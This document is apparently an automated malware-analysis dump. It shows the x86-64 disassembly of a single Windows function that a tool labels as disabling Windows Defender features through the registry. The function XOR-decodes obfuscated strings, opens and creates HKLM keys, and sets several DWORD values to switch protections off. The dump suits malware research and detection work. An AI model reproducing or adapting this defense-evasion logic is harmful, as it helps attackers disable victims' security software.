Function at 0x7ff7e151d690
Capabilities:
Disable windows defender features via registry on windows
Query environment variable
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
sub rsp, 0x670
lea rbp, [rsp + 0x70]
and rbp, 0xffffffffffffffe0
movabs rax, 0xbf1ae5836e37806e
lea rdx, [rbp + 0x200]
mov qword [rbp], rax
lea rcx, [rbp + 0x100]
mov rax, qword [rbp]
movabs rsi, 0xd27b97e40145d04b
mov qword [rbp + 0x100], rax
movabs rdi, 0xb35912ed9322a7ac
movabs rax, 0xe405379ef64eceea
movabs r14, 0x9190f22e29ca8ef5
mov qword [rbp], rax
movabs r15, 0x8a139f0fd7858b56
mov rax, qword [rbp]
movabs r12, 0x92313b18138b507f
mov qword [rbp + 0x108], rax
movabs r13, 0x9368ca31a87b13e0
movabs rax, 0xd5b0815946aee09c
mov r8d, 0x400
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x110], rax
movabs rax, 0xd661fa6bb9e0ed33
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x118], rax
movabs rax, 0xe65f5e717fc82032
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x120], rax
movabs rax, 0x9368ca31c41777ce
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x128], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x140], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x148], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x150], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x158], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x160], rax
mov qword [rbp], r13
mov rax, qword [rbp]
movdqa xmm2, xmmword [rbp + 0x120]
vmovdqu ymm0, ymmword [rbp + 0x140]
vpxor ymm1, ymm0, ymmword [rbp + 0x100]
mov qword [rbp + 0x168], rax
vpxor xmm2, xmm2, xmmword [rbp + 0x160]
vmovdqa ymmword [rbp + 0x100], ymm1
vmovdqa xmmword [rbp + 0x120], xmm2
vzeroupper
call qword [sym.imp.kernel32.dll_ExpandEnvironmentStringsA]
lea rcx, [rbp + 0x200]
call qword [sym.imp.kernel32.dll_LoadLibraryA]
mov rbx, rax
test rax, rax
je 0x7ff7e151d8b5
movabs rax, 0xa10ee3857516941c
lea rdx, [rbp + 0x30]
mov qword [rbp], rax
mov r8b, 1
mov rcx, qword [rbp]
mov qword [rbp + 0x30], rcx
mov qword [rbp], rdi
mov rcx, qword [rbp]
mov qword [rbp + 0x38], rcx
mov qword [rbp], rsi
mov rcx, qword [rbp]
mov qword [rbp + 0xe0], rcx
mov rcx, rbx
mov qword [rbp], rdi
mov rax, qword [rbp]
movdqa xmm0, xmmword [rbp + 0x30]
mov qword [rbp + 0xe8], rax
pxor xmm0, xmmword [rbp + 0xe0]
movdqa xmmword [rbp + 0x30], xmm0
call fcn.7ff7e151b5a0
test rax, rax
jne 0x7ff7e151d8d8
mov rcx, rbx
call qword [sym.imp.kernel32.dll_FreeLibrary]
mov al, 1
lea r11, [rsp + 0x670]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
lea rcx, [rbp + 0x18]
call rax
mov rcx, rbx
call qword [sym.imp.kernel32.dll_FreeLibrary]
cmp dword [rbp + 0x18], 0
je 0x7ff7e151d8b5
lea rax, [rbp + 0x20]
mov dword [rbp + 8], 1
mov r9d, 0xf003f
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, [0x7ff7e1604250]
mov rcx, 0xffffffff80000002
call qword [sym.imp.advapi32.dll_RegOpenKeyExA]
xor ebx, ebx
test eax, eax
jne 0x7ff7e151da64
mov rcx, qword [rbp + 0x20]
lea rax, [rbp + 8]
mov dword [rsp + 0x28], 4
lea r9d, [rbx + 4]
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, [0x7ff7e1604280]
call qword [sym.imp.advapi32.dll_RegSetValueExA]
mov rcx, qword [rbp + 0x20]
lea rax, [rbp + 0x10]
mov qword [rsp + 0x40], rbx
lea rdx, [0x7ff7e1604298]
mov qword [rsp + 0x38], rax
xor r9d, r9d
mov qword [rsp + 0x30], rbx
xor r8d, r8d
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], ebx
call qword [sym.imp.advapi32.dll_RegCreateKeyExA]
mov rcx, qword [rbp + 0x10]
lea rax, [rbp + 8]
mov dword [rsp + 0x28], 4
lea r9d, [rbx + 4]
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, [0x7ff7e16042b0]
call qword [sym.imp.advapi32.dll_RegSetValueExA]
mov rcx, qword [rbp + 0x10]
lea rax, [rbp + 8]
mov dword [rsp + 0x28], 4
lea r9d, [rbx + 4]
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, [0x7ff7e16042d0]
call qword [sym.imp.advapi32.dll_RegSetValueExA]
mov rcx, qword [rbp + 0x10]
lea rax, [rbp + 8]
mov dword [rsp + 0x28], 4
lea r9d, [rbx + 4]
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, [0x7ff7e16042f0]
call qword [sym.imp.advapi32.dll_RegSetValueExA]
mov rcx, qword [rbp + 0x10]
lea rax, [rbp + 8]
mov dword [rsp + 0x28], 4
lea r9d, [rbx + 4]
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, [0x7ff7e1604310]
call qword [sym.imp.advapi32.dll_RegSetValueExA]
mov rcx, qword [rbp + 0x10]
lea rax, [rbp + 8]
mov dword [rsp + 0x28], 4
lea r9d, [rbx + 4]
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, [0x7ff7e1604330]
call qword [sym.imp.advapi32.dll_RegSetValueExA]
mov rcx, qword [rbp + 0x20]
call qword [sym.imp.advapi32.dll_RegCloseKey]
mov rcx, qword [rbp + 0x10]
call qword [sym.imp.advapi32.dll_RegCloseKey]
movabs rax, 0xd27b97e46e23be02
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x40], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x48], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp], rdi
mov qword [rbp + 0xf0], rax
mov rax, qword [rbp]
movdqa xmm0, xmmword [rbp + 0x40]
mov qword [rbp + 0xf8], rax
movabs rax, 0xf208e08b652bb91c
pxor xmm0, xmmword [rbp + 0xf0]
movdqa xmmword [rbp + 0x40], xmm0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x60], rax
movabs rax, 0xc13c7683f644c2e8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x68], rax
movabs rax, 0xe3e2874d09b9e7d5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x70], rax
movabs rax, 0xe476bf76bbf1e533
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x78], rax
movabs rax, 0xdb11157c76e7321e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x80], rax
movabs rax, 0xf60aea42c9133394
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x88], rax
movabs rax, 0x11f5311b81ef189c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x90], rax
movabs rax, 0xb17415b2a10f96d6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x98], rax
movabs rax, 0x4e942a2fe6d2703e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa0], rax
movabs rax, 0xf72757b9f6238bed
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa8], rax
movabs rax, 0x87e2fe5079192b8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb0], rax
movabs rax, 0x80bca7a2c2f5d72a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb8], rax
movabs rax, 0xebb148346a2dbd48
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc0], rax
movabs rax, 0x638ec36927a9a67c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc8], rax
movabs rax, 0xc29afac98dbba921
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd0], rax
movabs rax, 0x5755b5b5591be683
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd8], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
lea r8, [rbp + 0x40]
mov qword [rbp + 0x180], rax
lea rdx, [rbp + 0x60]
mov qword [rbp], rdi
mov r9d, 0x1010
mov rax, qword [rbp]
xor ecx, ecx
mov qword [rbp + 0x188], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x190], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x198], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1a0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x1a8], rax
movabs rax, 0x73944272e5cf76f9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1b0], rax
movabs rax, 0xde0060d3816bf3ba
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1b8], rax
movabs rax, 0x22f84b4c8fa61153
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1c0], rax
movabs rax, 0x844632d5a603a594
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1c8], rax
movabs rax, 0x7a1f5b9662e3b2dd
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1d0], rax
movabs rax, 0xe39cd5d7ad8cf75e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1d8], rax
movabs rax, 0xcbc32d401f5dd027
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1e0], rax
movabs rax, 0x1ae2b3194689c908
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1e8], rax
movabs rax, 0xaaf9dabae4d3dd01
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1f0], rax
movabs rax, 0x5755b59b3c7c88e2
mov qword [rbp], rax
mov rax, qword [rbp]
vmovdqu ymm0, ymmword [rbp + 0x180]
vpxor ymm1, ymm0, ymmword [rbp + 0x60]
vmovdqu ymm0, ymmword [rbp + 0x80]
vmovdqa ymmword [rbp + 0x60], ymm1
vpxor ymm1, ymm0, ymmword [rbp + 0x1a0]
vmovdqu ymm0, ymmword [rbp + 0xa0]
vmovdqa ymmword [rbp + 0x80], ymm1
vpxor ymm1, ymm0, ymmword [rbp + 0x1c0]
vmovdqu ymm0, ymmword [rbp + 0xc0]
vmovdqa ymmword [rbp + 0xa0], ymm1
mov qword [rbp + 0x1f8], rax
vpxor ymm1, ymm0, ymmword [rbp + 0x1e0]
mov dword [rsp + 0x28], 0x4e20
vmovdqa ymmword [rbp + 0xc0], ymm1
mov word [rsp + 0x20], bx
vzeroupper
call fcn.7ff7e14c5310
xor al, al
jmp 0x7ff7e151d8b7